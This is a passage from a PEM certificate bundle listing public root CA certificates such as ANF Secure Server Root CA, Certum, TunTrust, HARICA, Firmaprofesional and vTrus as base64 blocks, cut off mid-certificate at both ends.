D59bRatZe1E0+eyLinjF3WuvvcTfk0Uev5E4C64OFudBc/jbu9G4UeDLgztzOG53ig9ZYybNpyrO
VPu44sB8R85gfD+yc/LAGbaKkoc1DZAoouQVBGM+uq/ufF7MpotQsjj3QWPKzv9pj2gOlTblzLmM
CcpL3TGQlsjMH/1WljTbjhzqLL6FLmPdqqmV0/0plRPwyJiT2S0WR5ARg6I6IqIoV6Lr/sCMKKCm
fecqQjuCgGOlYx8ZzHyyZqjC0203b+J+BlHZRYQfEs4kUmSFC0iAToexIiIwquuuvuAC4EDosEKA
A1GqtH6qRNdDYfOiaxaJSaSjpCuKAsR49GiKweR6NrFvG5Ybd0mN1MkGco/PU+PcF4UgStyYJ9OR
JitHHmkHr96i5OTUawuzXnzUJIBHKWk7buis/UDr2O1xcSvy6Fgd60GXIsUf1DnQJ4+H4xj04KlG
DfV0OoIu0G4skaMxXDtG6nsEEFZegB31pWXogvziB4xiRfUg3kZwhqG8k9MedKZssCz3AwyIDMvU
clOGvGBG85hqwvG/Q/lwIHfKN0F5VVJjjVsSn8VoxIidrPIwq7ejMZdnrY8XD2zHc+0klGvIg5rQ
mjdJBKuxFshsSUktq6HQjJLyQUp5ISXbY9e2nKd+Qmn7OmMCAwEAAaNjMGEwDwYDVR0TAQH/BAUw
AwEB/zAOBgNVHQ8BAf8EBAMCAQYwHQYDVR0OBBYEFNwuH9FhN3nkq9XVsxJxaD1qaJwiMB8GA1Ud
IwQYMBaAFNwuH9FhN3nkq9XVsxJxaD1qaJwiMA0GCSqGSIb3DQEBCwUAA4ICAQCR8EICaEDuw2jA
VC/f7GLDw56KoDEoqoOOpFaWEhCGVrqXctJUMHytGdUdaG/7FELYjQ7ztdGl4wJCXtzoRlgHNQIw
4Lx0SsFDKv/bGtCwr2zD/cuz9X9tAy5ZVp0tLTWMstZDFyySCstd6IwPS3BD0IL/qMy/pJTAvoe9
iuOTe8aPmxadJ2W8esVCgmxcB9CpwYhgROmYhRZf+I/KARDOJcP5YBugxZfD0yyIMaK9MOzQ0MAS
8cE54+X1+NZK3TTN+2/BT+MAi1bikvcoskJ3ciNnxz8RFbLEAwW+uxF7Cr+obuf/WEPPm2eggAe2
HcqtbepBEX4tdJP7wry+UUTF72glJ4DjyKDUEuzZpTcdN3y0kcra1LGWge9oXHYQSa9+pTeAsRxS
vTOBTI/53WXZFM2KJVj04sWDpQmQ1GwUY7VA3+vA/MRYfg0UFodUJ25W5HCEuGwyEn6CMUO+1918
oa2u1qsgEu8KwxCMSZY13At1XrFP1U80DhEgB3VDRemjEdqso5nCtnkn4rnvyOL2NSl6dPrFf4IF
YqYK6miyeUcGbvJXqBUzxvd4Sj1Ce2t+/vdG6tHrju+IaFvowdlxfv1k7/9nR4hYJS8+hge9+6jl
gqispdNpQ80xiEmEU5LAsTkbOYMBMMTyqfrQA71yN2BWHzZ8vTmR9W0Nv3vXkg==
-----END CERTIFICATE-----

ANF Secure Server Root CA
=========================
-----BEGIN CERTIFICATE-----
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
-----END CERTIFICATE-----

Certum EC-384 CA
================
-----BEGIN CERTIFICATE-----
MIICZTCCAeugAwIBAgIQeI8nXIESUiClBNAt3bpz9DAKBggqhkjOPQQDAzB0MQswCQYDVQQGEwJQ
TDEhMB8GA1UEChMYQXNzZWNvIERhdGEgU3lzdGVtcyBTLkEuMScwJQYDVQQLEx5DZXJ0dW0gQ2Vy
dGlmaWNhdGlvbiBBdXRob3JpdHkxGTAXBgNVBAMTEENlcnR1bSBFQy0zODQgQ0EwHhcNMTgwMzI2
MDcyNDU0WhcNNDMwMzI2MDcyNDU0WjB0MQswCQYDVQQGEwJQTDEhMB8GA1UEChMYQXNzZWNvIERh
dGEgU3lzdGVtcyBTLkEuMScwJQYDVQQLEx5DZXJ0dW0gQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkx
GTAXBgNVBAMTEENlcnR1bSBFQy0zODQgQ0EwdjAQBgcqhkjOPQIBBgUrgQQAIgNiAATEKI6rGFtq
vm5kN2PkzeyrOvfMobgOgknXhimfoZTy42B4mIF4Bk3y7JoOV2CDn7TmFy8as10CW4kjPMIRBSqn
iBMY81CE1700LCeJVf/OTOffph8oxPBUw7l8t1Ot68KjQjBAMA8GA1UdEwEB/wQFMAMBAf8wHQYD
VR0OBBYEFI0GZnQkdjrzife81r1HfS+8EF9LMA4GA1UdDwEB/wQEAwIBBjAKBggqhkjOPQQDAwNo
ADBlAjADVS2m5hjEfO/JUG7BJw+ch69u1RsIGL2SKcHvlJF40jocVYli5RsJHrpka/F2tNQCMQC0
QoSZ/6vnnvuRlydd3LBbMHHOXjgaatkl5+r3YZJW+OraNsKHZZYuciUvf9/DE8k=
-----END CERTIFICATE-----

Certum Trusted Root CA
======================
-----BEGIN CERTIFICATE-----
MIIFwDCCA6igAwIBAgIQHr9ZULjJgDdMBvfrVU+17TANBgkqhkiG9w0BAQ0FADB6MQswCQYDVQQG
EwJQTDEhMB8GA1UEChMYQXNzZWNvIERhdGEgU3lzdGVtcyBTLkEuMScwJQYDVQQLEx5DZXJ0dW0g
Q2VydGlmaWNhdGlvbiBBdXRob3JpdHkxHzAdBgNVBAMTFkNlcnR1bSBUcnVzdGVkIFJvb3QgQ0Ew
HhcNMTgwMzE2MTIxMDEzWhcNNDMwMzE2MTIxMDEzWjB6MQswCQYDVQQGEwJQTDEhMB8GA1UEChMY
QXNzZWNvIERhdGEgU3lzdGVtcyBTLkEuMScwJQYDVQQLEx5DZXJ0dW0gQ2VydGlmaWNhdGlvbiBB
dXRob3JpdHkxHzAdBgNVBAMTFkNlcnR1bSBUcnVzdGVkIFJvb3QgQ0EwggIiMA0GCSqGSIb3DQEB
AQUAA4ICDwAwggIKAoICAQDRLY67tzbqbTeRn06TpwXkKQMlzhyC93yZn0EGze2jusDbCSzBfN8p
fktlL5On1AFrAygYo9idBcEq2EXxkd7fO9CAAozPOA/qp1x4EaTByIVcJdPTsuclzxFUl6s1wB52
HO8AU5853BSlLCIls3Jy/I2z5T4IHhQqNwuIPMqw9MjCoa68wb4pZ1Xi/K1ZXP69VyywkI3C7Te2
fJmItdUDmj0VDT06qKhF8JVOJVkdzZhpu9PMMsmN74H+rX2Ju7pgE8pllWeg8xn2A1bUatMn4qGt
g/BKEiJ3HAVz4hlxQsDsdUaakFjgao4rpUYwBI4Zshfjvqm6f1bxJAPXsiEodg42MEx51UGamqi4
NboMOvJEGyCI98Ul1z3G4z5D3Yf+xOr1Uz5MZf87Sst4WmsXXw3Hw09Omiqi7VdNIuJGmj8PkTQk
fVXjjJU30xrwCSss0smNtA0Aq2cpKNgB9RkEth2+dv5yXMSFytKAQd8FqKPVhJBPC/PgP5sZ0jeJ
P/J7UhyM9uH3PAeXjA6iWYEMspA90+NZRu0PqafegGtaqge2Gcu8V/OXIXoMsSt0Puvap2ctTMSY
njYJdmZm/Bo/6khUHL4wvYBQv3y1zgD2DGHZ5yQD4OMBgQ692IU0iL2yNqh7XAjlRICMb/gv1SHK
HRzQ+8S1h9E6Tsd2tTVItQIDAQABo0IwQDAPBgNVHRMBAf8EBTADAQH/MB0GA1UdDgQWBBSM+xx1
vALTn04uSNn5YFSqxLNP+jAOBgNVHQ8BAf8EBAMCAQYwDQYJKoZIhvcNAQENBQADggIBAEii1QAL
LtA/vBzVtVRJHlpr9OTy4EA34MwUe7nJ+jW1dReTagVphZzNTxl4WxmB82M+w85bj/UvXgF2Ez8s
ALnNllI5SW0ETsXpD4YN4fqzX4IS8TrOZgYkNCvozMrnadyHncI013nR03e4qllY/p0m+jiGPp2K
h2RX5Rc64vmNueMzeMGQ2Ljdt4NR5MTMI9UGfOZR0800McD2RrsLrfw9EAUqO0qRJe6M1ISHgCq8
CYyqOhNf6DR5UMEQGfnTKB7U0VEwKbOukGfWHwpjscWpxkIxYxeU72nLL/qMFH3EQxiJ2fAyQOaA
4kZf5ePBAFmo+eggvIksDkc0C+pXwlM2/KfUrzHN/gLldfq5Jwn58/U7yn2fqSLLiMmq0Uc9Nneo
WWRrJ8/vJ8HjJLWG965+Mk2weWjROeiQWMODvA8s1pfrzgzhIMfatz7DP78v3DSk+yshzWePS/Tj
6tQ/50+6uaWTRRxmHyH6ZF5v4HaUMst19W7l9o/HuKTMqJZ9ZPskWkoDbGs4xugDQ5r3V7mzKWmT
OPQD8rv7gmsHINFSH5pkAnuYZttcTVoP0ISVoDwUQwbKytu4QTbaakRnh6+v40URFWkIsr4WOZck
bxJF0WddCajJFdr60qZfE2Efv4WstK2tBZQIgx51F9NxO5NQI1mg7TyRVJ12AMXDuDjb
-----END CERTIFICATE-----

TunTrust Root CA
================
-----BEGIN CERTIFICATE-----
MIIFszCCA5ugAwIBAgIUEwLV4kBMkkaGFmddtLu7sms+/BMwDQYJKoZIhvcNAQELBQAwYTELMAkG
A1UEBhMCVE4xNzA1BgNVBAoMLkFnZW5jZSBOYXRpb25hbGUgZGUgQ2VydGlmaWNhdGlvbiBFbGVj
dHJvbmlxdWUxGTAXBgNVBAMMEFR1blRydXN0IFJvb3QgQ0EwHhcNMTkwNDI2MDg1NzU2WhcNNDQw
NDI2MDg1NzU2WjBhMQswCQYDVQQGEwJUTjE3MDUGA1UECgwuQWdlbmNlIE5hdGlvbmFsZSBkZSBD
ZXJ0aWZpY2F0aW9uIEVsZWN0cm9uaXF1ZTEZMBcGA1UEAwwQVHVuVHJ1c3QgUm9vdCBDQTCCAiIw
DQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBAMPN0/y9BFPdDCA61YguBUtB9YOCfvdZn56eY+hz
2vYGqU8ftPkLHzmMmiDQfgbU7DTZhrx1W4eI8NLZ1KMKsmwb60ksPqxd2JQDoOw05TDENX37Jk0b
bjBU2PWARZw5rZzJJQRNmpA+TkBuimvNKWfGzC3gdOgFVwpIUPp6Q9p+7FuaDmJ2/uqdHYVy7BG7
NegfJ7/Boce7SBbdVtfMTqDhuazb1YMZGoXRlJfXyqNlC/M4+QKu3fZnz8k/9YosRxqZbwUN/dAd
gjH8KcwAWJeRTIAAHDOFli/LQcKLEITDCSSJH7UP2dl3RxiSlGBcx5kDPP73lad9UKGAwqmDrViW
VSHbhlnUr8a83YFuB9tgYv7sEG7aaAH0gxupPqJbI9dkxt/con3YS7qC0lH4Zr8GRuR5KiY2eY8f
Tpkdso8MDhz/yV3A/ZAQprE38806JG60hZC/gLkMjNWb1sjxVj8agIl6qeIbMlEsPvLfe/ZdeikZ
juXIvTZxi11Mwh0/rViizz1wTaZQmCXcI/m4WEEIcb9PuISgjwBUFfyRbVinljvrS5YnzWuioYas
DXxU5mZMZl+QviGaAkYt5IPCgLnPSz7ofzwB7I9ezX/SKEIBlYrilz0QIX32nRzFNKHsLA4KUiwS
VXAkPcvCFDVDXSdOvsC9qnyW5/yeYa1E0wCXAgMBAAGjYzBhMB0GA1UdDgQWBBQGmpsfU33x9aTI
04Y+oXNZtPdEITAPBgNVHRMBAf8EBTADAQH/MB8GA1UdIwQYMBaAFAaamx9TffH1pMjThj6hc1m0
90QhMA4GA1UdDwEB/wQEAwIBBjANBgkqhkiG9w0BAQsFAAOCAgEAqgVutt0Vyb+zxiD2BkewhpMl
0425yAA/l/VSJ4hxyXT968pk21vvHl26v9Hr7lxpuhbI87mP0zYuQEkHDVneixCwSQXi/5E/S7fd
Ao74gShczNxtr18UnH1YeA32gAm56Q6XKRm4t+v4FstVEuTGfbvE7Pi1HE4+Z7/FXxttbUcoqgRY
YdZ2vyJ/0Adqp2RT8JeNnYA/u8EH22Wv5psymsNUk8QcCMNE+3tjEUPRahphanltkE8pjkcFwRJp
adbGNjHh/PqAulxPxOu3Mqz4dWEX1xAZufHSCe96Qp1bWgvUxpVOKs7/B9dPfhgGiPEZtdmYu65x
xBzndFlY7wyJz4sfdZMaBBSSSFCp61cpABbjNhzI+L/wM9VBD8TMPN3pM0MBkRArHtG5Xc0yGYuP
jCB31yLEQtyEFpslbei0VXF/sHyz03FJuc9SpAQ/3D2gu68zngowYI7bnV2UqL1g52KAdoGDDIzM
MEZJ4gzSqK/rYXHv5yJiqfdcZGyfFoxnNidF9Ql7v/YQCvGwjVRDjAS6oz/v4jXH+XTgbzRB0L9z
ZVcg+ZtnemZoJE6AZb0QmQZZ8mWvuMZHu/2QeItBcy6vVR/cO5JyboTT0GFMDcx2V+IthSIVNg3r
AZ3r2OvEhJn7wAzMMujjd9qDRIueVSjAi1jTkD5OGwDxFa2DK5o=
-----END CERTIFICATE-----

HARICA TLS RSA Root CA 2021
===========================
-----BEGIN CERTIFICATE-----
MIIFpDCCA4ygAwIBAgIQOcqTHO9D88aOk8f0ZIk4fjANBgkqhkiG9w0BAQsFADBsMQswCQYDVQQG
EwJHUjE3MDUGA1UECgwuSGVsbGVuaWMgQWNhZGVtaWMgYW5kIFJlc2VhcmNoIEluc3RpdHV0aW9u
cyBDQTEkMCIGA1UEAwwbSEFSSUNBIFRMUyBSU0EgUm9vdCBDQSAyMDIxMB4XDTIxMDIxOTEwNTUz
OFoXDTQ1MDIxMzEwNTUzN1owbDELMAkGA1UEBhMCR1IxNzA1BgNVBAoMLkhlbGxlbmljIEFjYWRl
bWljIGFuZCBSZXNlYXJjaCBJbnN0aXR1dGlvbnMgQ0ExJDAiBgNVBAMMG0hBUklDQSBUTFMgUlNB
IFJvb3QgQ0EgMjAyMTCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBAIvC569lmwVnlskN
JLnQDmT8zuIkGCyEf3dRywQRNrhe7Wlxp57kJQmXZ8FHws+RFjZiPTgE4VGC/6zStGndLuwRo0Xu
a2s7TL+MjaQenRG56Tj5eg4MmOIjHdFOY9TnuEFE+2uva9of08WRiFukiZLRgeaMOVig1mlDqa2Y
Ulhu2wr7a89o+uOkXjpFc5gH6l8Cct4MpbOfrqkdtx2z/IpZ525yZa31MJQjB/OCFks1mJxTuy/K
5FrZx40d/JiZ+yykgmvwKh+OC19xXFyuQnspiYHLA6OZyoieC0AJQTPb5lh6/a6ZcMBaD9YThnEv
dmn8kN3bLW7R8pv1GmuebxWMevBLKKAiOIAkbDakO/IwkfN4E8/BPzWr8R0RI7VDIp4BkrcYAuUR
0YLbFQDMYTfBKnya4dC6s1BG7oKsnTH4+yPiAwBIcKMJJnkVU2DzOFytOOqBAGMUuTNe3QvboEUH
GjMJ+E20pwKmafTCWQWIZYVWrkvL4N48fS0ayOn7H6NhStYqE613TBoYm5EPWNgGVMWX+Ko/IIqm
haZ39qb8HOLubpQzKoNQhArlT4b4UEV4AIHrW2jjJo3Me1xR9BQsQL4aYB16cmEdH2MtiKrOokWQ
CPxrvrNQKlr9qEgYRtaQQJKQCoReaDH46+0N0x3GfZkYVVYnZS6NRcUk7M7jAgMBAAGjQjBAMA8G
A1UdEwEB/wQFMAMBAf8wHQYDVR0OBBYEFApII6ZgpJIKM+qTW8VX6iVNvRLuMA4GA1UdDwEB/wQE
AwIBhjANBgkqhkiG9w0BAQsFAAOCAgEAPpBIqm5iFSVmewzVjIuJndftTgfvnNAUX15QvWiWkKQU
EapobQk1OUAJ2vQJLDSle1mESSmXdMgHHkdt8s4cUCbjnj1AUz/3f5Z2EMVGpdAgS1D0NTsY9FVq
QRtHBmg8uwkIYtlfVUKqrFOFrJVWNlar5AWMxajaH6NpvVMPxP/cyuN+8kyIhkdGGvMA9YCRotxD
QpSbIPDRzbLrLFPCU3hKTwSUQZqPJzLB5UkZv/HywouoCjkxKLR9YjYsTewfM7Z+d21+UPCfDtcR
j88YxeMn/ibvBZ3PzzfF0HvaO7AWhAw6k9a+F9sPPg4ZeAnHqQJyIkv3N3a6dcSFA1pj1bF1BcK5
vZStjBWZp5N99sXzqnTPBIWUmAD04vnKJGW/4GKvyMX6ssmeVkjaef2WdhW+o45WxLM0/L5H9MG0
qPzVMIho7suuyWPEdr6sOBjhXlzPrjoiUevRi7PzKzMHVIf6tLITe7pTBGIBnfHAT+7hOtSLIBD6
Alfm78ELt5BGnBkpjNxvoEppaZS3JGWg/6w/zgH7IS79aPib8qXPMThcFarmlwDB31qlpzmq6YR/
PFGoOtmUW4y/Twhx5duoXNTSpv4Ao8YWxw/ogM4cKGR0GQjTQuPOAF1/sdwTsOEFy9EgqoZ0njnn
kf3/W9b3raYvAwtt41dU63ZTGI0RmLo=
-----END CERTIFICATE-----

HARICA TLS ECC Root CA 2021
===========================
-----BEGIN CERTIFICATE-----
MIICVDCCAdugAwIBAgIQZ3SdjXfYO2rbIvT/WeK/zjAKBggqhkjOPQQDAzBsMQswCQYDVQQGEwJH
UjE3MDUGA1UECgwuSGVsbGVuaWMgQWNhZGVtaWMgYW5kIFJlc2VhcmNoIEluc3RpdHV0aW9ucyBD
QTEkMCIGA1UEAwwbSEFSSUNBIFRMUyBFQ0MgUm9vdCBDQSAyMDIxMB4XDTIxMDIxOTExMDExMFoX
DTQ1MDIxMzExMDEwOVowbDELMAkGA1UEBhMCR1IxNzA1BgNVBAoMLkhlbGxlbmljIEFjYWRlbWlj
IGFuZCBSZXNlYXJjaCBJbnN0aXR1dGlvbnMgQ0ExJDAiBgNVBAMMG0hBUklDQSBUTFMgRUNDIFJv
b3QgQ0EgMjAyMTB2MBAGByqGSM49AgEGBSuBBAAiA2IABDgI/rGgltJ6rK9JOtDA4MM7KKrxcm1l
AEeIhPyaJmuqS7psBAqIXhfyVYf8MLA04jRYVxqEU+kw2anylnTDUR9YSTHMmE5gEYd103KUkE+b
ECUqqHgtvpBBWJAVcqeht6NCMEAwDwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQUyRtTgRL+BNUW
0aq8mm+3oJUZbsowDgYDVR0PAQH/BAQDAgGGMAoGCCqGSM49BAMDA2cAMGQCMBHervjcToiwqfAi
rcJRQO9gcS3ujwLEXQNwSaSS6sUUiHCm0w2wqsosQJz76YJumgIwK0eaB8bRwoF8yguWGEEbo/Qw
CZ61IygNnxS2PFOiTAZpffpskcYqSUXm7LcT4Tps
-----END CERTIFICATE-----

Autoridad de Certificacion Firmaprofesional CIF A62634068
=========================================================
-----BEGIN CERTIFICATE-----
MIIGFDCCA/ygAwIBAgIIG3Dp0v+ubHEwDQYJKoZIhvcNAQELBQAwUTELMAkGA1UEBhMCRVMxQjBA
BgNVBAMMOUF1dG9yaWRhZCBkZSBDZXJ0aWZpY2FjaW9uIEZpcm1hcHJvZmVzaW9uYWwgQ0lGIEE2
MjYzNDA2ODAeFw0xNDA5MjMxNTIyMDdaFw0zNjA1MDUxNTIyMDdaMFExCzAJBgNVBAYTAkVTMUIw
QAYDVQQDDDlBdXRvcmlkYWQgZGUgQ2VydGlmaWNhY2lvbiBGaXJtYXByb2Zlc2lvbmFsIENJRiBB
NjI2MzQwNjgwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQDKlmuO6vj78aI14H9M2uDD
Utd9thDIAl6zQyrET2qyyhxdKJp4ERppWVevtSBC5IsP5t9bpgOSL/UR5GLXMnE42QQMcas9UX4P
B99jBVzpv5RvwSmCwLTaUbDBPLutN0pcyvFLNg4kq7/DhHf9qFD0sefGL9ItWY16Ck6WaVICqjaY
7Pz6FIMMNx/Jkjd/14Et5cS54D40/mf0PmbR0/RAz15iNA9wBj4gGFrO93IbJWyTdBSTo3OxDqqH
ECNZXyAFGUftaI6SEspd/NYrspI8IM/hX68gvqB2f3bl7BqGYTM+53u0P6APjqK5am+5hyZvQWyI
plD9amML9ZMWGxmPsu2bm8mQ9QEM3xk9Dz44I8kvjwzRAv4bVdZO0I08r0+k8/6vKtMFnXkIoctX
MbScyJCyZ/QYFpM6/EfY0XiWMR+6KwxfXZmtY4laJCB22N/9q06mIqqdXuYnin1oKaPnirjaEbsX
LZmdEyRG98Xi2J+Of8ePdG1asuhy9azuJBCtLxTa/y2aRnFHvkLfuwHb9H/TKI8xWVvTyQKmtFLK
bpf7Q8UIJm+K9Lv9nyiqDdVF8xM6HdjAeI9BZzwelGSuewvF6NkBiDkal4ZkQdU7hwxu+g/GvUgU
vzlN1J5Bto+WHWOWk9mVBngxaJ43BjuAiUVhOSPHG0SjFeUc+JIwuwIDAQABo4HvMIHsMB0GA1Ud
DgQWBBRlzeurNR4APn7VdMActHNHDhpkLzASBgNVHRMBAf8ECDAGAQH/AgEBMIGmBgNVHSAEgZ4w
gZswgZgGBFUdIAAwgY8wLwYIKwYBBQUHAgEWI2h0dHA6Ly93d3cuZmlybWFwcm9mZXNpb25hbC5j
b20vY3BzMFwGCCsGAQUFBwICMFAeTgBQAGEAcwBlAG8AIABkAGUAIABsAGEAIABCAG8AbgBhAG4A
bwB2AGEAIAA0ADcAIABCAGEAcgBjAGUAbABvAG4AYQAgADAAOAAwADEANzAOBgNVHQ8BAf8EBAMC
AQYwDQYJKoZIhvcNAQELBQADggIBAHSHKAIrdx9miWTtj3QuRhy7qPj4Cx2Dtjqn6EWKB7fgPiDL
4QjbEwj4KKE1soCzC1HA01aajTNFSa9J8OA9B3pFE1r/yJfY0xgsfZb43aJlQ3CTkBW6kN/oGbDb
LIpgD7dvlAceHabJhfa9NPhAeGIQcDq+fUs5gakQ1JZBu/hfHAsdCPKxsIl68veg4MSPi3i1O1il
I45PVf42O+AMt8oqMEEgtIDNrvx2ZnOorm7hfNoD6JQg5iKj0B+QXSBTFCZX2lSX3xZEEAEeiGaP
cjiT3SC3NL7X8e5jjkd5KAb881lFJWAiMxujX6i6KtoaPc1A6ozuBRWV1aUsIC+nmCjuRfzxuIgA
LI9C2lHVnOUTaHFFQ4ueCyE8S1wF3BqfmI7avSKecs2tCsvMo2ebKHTEm9caPARYpoKdrcd7b/+A
lun4jWq9GJAd/0kakFI3ky88Al2CdgtR5xbHV/g4+afNmyJU72OwFW1TZQNKXkqgsqeOSQBZONXH
9IBk9W6VULgRfhVwOEqwf9DEMnDAGf/JOC0ULGb0QkTmVXYbgBVX/8Cnp6o5qtjTcNAuuuuUavpf
NIbnYrX9ivAwhZTJryQCL2/W3Wf+47BVTwSYT6RBVuKT0Gro1vP7ZeDOdcQxWQzugsgMYDNKGbqE
ZycPvEJdvSRUDewdcAZfpLz6IHxV
-----END CERTIFICATE-----

vTrus ECC Root CA
=================
-----BEGIN CERTIFICATE-----
MIICDzCCAZWgAwIBAgIUbmq8WapTvpg5Z6LSa6Q75m0c1towCgYIKoZIzj0EAwMwRzELMAkGA1UE
BhMCQ04xHDAaBgNVBAoTE2lUcnVzQ2hpbmEgQ28uLEx0ZC4xGjAYBgNVBAMTEXZUcnVzIEVDQyBS
b290IENBMB4XDTE4MDczMTA3MjY0NFoXDTQzMDczMTA3MjY0NFowRzELMAkGA1UEBhMCQ04xHDAa
BgNVBAoTE2lUcnVzQ2hpbmEgQ28uLEx0ZC4xGjAYBgNVBAMTEXZUcnVzIEVDQyBSb290IENBMHYw
EAYHKoZIzj0CAQYFK4EEACIDYgAEZVBKrox5lkqqHAjDo6LN/llWQXf9JpRCux3NCNtzslt188+c
ToL0v/hhJoVs1oVbcnDS/dtitN9Ti72xRFhiQgnH+n9bEOf+QP3A2MMrMudwpremIFUde4BdS49n
TPEQo0IwQDAdBgNVHQ4EFgQUmDnNvtiyjPeyq+GtJK97fKHbH88wDwYDVR0TAQH/BAUwAwEB/zAO
BgNVHQ8BAf8EBAMCAQYwCgYIKoZIzj0EAwMDaAAwZQIwV53dVvHH4+m4SVBrm2nDb+zDfSXkV5UT
QJtS0zvzQBm8JsctBp61ezaf9SXUY2sAAjEA6dPGnlaaKsyh2j/IZivTWJwghfqrkYpwcBE4YGQL
YgmRWAD5Tfs0aNoJrSEGGJTO
-----END CERTIFICATE-----

vTrus Root CA
=============
-----BEGIN CERTIFICATE-----
MIIFVjCCAz6gAwIBAgIUQ+NxE9izWRRdt86M/TX9b7wFjUUwDQYJKoZIhvcNAQELBQAwQzELMAkG
A1UEBhMCQ04xHDAaBgNVBAoTE2lUcnVzQ2hpbmEgQ28uLEx0ZC4xFjAUBgNVBAMTDXZUcnVzIFJv
b3QgQ0EwHhcNMTgwNzMxMDcyNDA1WhcNNDMwNzMxMDcyNDA1WjBDMQswCQYDVQQGEwJDTjEcMBoG
A1UEChMTaVRydXNDaGluYSBDby4sTHRkLjEWMBQGA1UEAxMNdlRydXMgUm9vdCBDQTCCAiIwDQYJ
KoZIhvcNAQEBBQADggIPADCCAgoCggIBAL1VfGHTuB0EYgWgrmy3cLRB6ksDXhA/kFocizuwZots
SKYcIrrVQJLuM7IjWcmOvFjai57QGfIvWcaMY1q6n6MLsLOaXLoRuBLpDLvPbmyAhykUAyyNJJrI
ZIO1aqwTLDPxn9wsYTwaP3BVm60AUn/PBLn+NvqcwBauYv6WTEN+VRS+GrPSbcKvdmaVayqwlHeF
XgQPYh1jdfdr58tbmnDsPmcF8P4HCIDPKNsFxhQnL4Z98Cfe/+Z+M0jnCx5Y0ScrUw5XSmXX+6KA
YPxMvDVTAWqXcoKv8R1w6Jz1717CbMdHflqUhSZNO7rrTOiwCcJlwp2dCZtOtZcFrPUGoPc2BX70
kLJrxLT5ZOrpGgrIDajtJ8nU57O5q4IikCc9Kuh8kO+8T/3iCiSn3mUkpF3qwHYw03dQ+A0Em5Q2
AXPKBlim0zvc+gRGE1WKyURHuFE5Gi7oNOJ5y1lKCn+8pu8fA2dqWSslYpPZUxlmPCdiKYZNpGvu
/9ROutW04o5IWgAZCfEF2c6Rsffr6TlP9m8EQ5pV9T4FFL2/s1m02I4zhKOQUqqzApVg+QxMaPnu
1RcN+HFXtSXkKe5lXa/R7jwXC1pDxaWG6iSe4gUH3DRCEpHWOXSuTEGC2/KmSNGzm/MzqvOmwMVO
9fSddmPmAsYiS8GVP1BkLFTltvA8Kc9XAgMBAAGjQjBAMB0GA1UdDgQWBBRUYnBj8XWEQ1iO0RYg
